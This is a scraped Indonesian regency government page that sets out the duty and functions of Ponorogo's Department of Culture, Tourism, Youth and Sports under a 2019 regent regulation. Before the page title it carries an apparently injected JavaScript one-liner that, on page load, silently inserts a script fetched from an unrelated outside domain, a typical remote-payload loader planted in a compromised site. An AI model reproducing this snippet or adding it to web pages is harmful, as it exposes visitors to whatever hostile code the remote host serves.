;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); TUGAS DAN FUNGSI – Dinas Kebudayaan Pariwisata Pemuda dan Olahraga Kabupaten Ponorogo

TUGAS DAN FUNGSI

Ponorogo Tourism

Berdasarkan Peraturan Bupati Ponorogo Nomor 138 Tahun 2019 tentang Kedudukan, Uraian Tugas dan Fungsi dan Tata Kerja Dinas Kebudayaan, Pariwisata, Pemuda Dan Olahraga Kabupaten Ponorogo, Dinas Kebudayaan, Pariwisata, Pemuda Dan Olahraga mempunyai tugas membantu Bupati dalam melaksanakan urusan pemerintahan daerah di bidang Kebudayaan, Pariwisata, Pemuda Dan Olahraga.

Untuk melaksanakan tugas tersebut Dinas Kebudayaan, Pariwisata, Pemuda Dan Olahraga menyelenggarakan fungsi :

  • Perumusan kebijakan urusan kebudayaan, pariwisata, pemuda dan olah raga;
  • Pelaksanaan kebijakan urusan kebudayaan, pariwisata, pemuda dan olah raga;
  • Pelaksanaan  evaluasi  dan  pelaporan  urusan kebudayaan, pariwisata, pemuda dan olah raga;
  • Pelaksanaan  administrasi  dinas; dan
  • Pelaksanaan fungsi lain yang diberikan oleh bupati terkait dengan tugas dan fungsinya.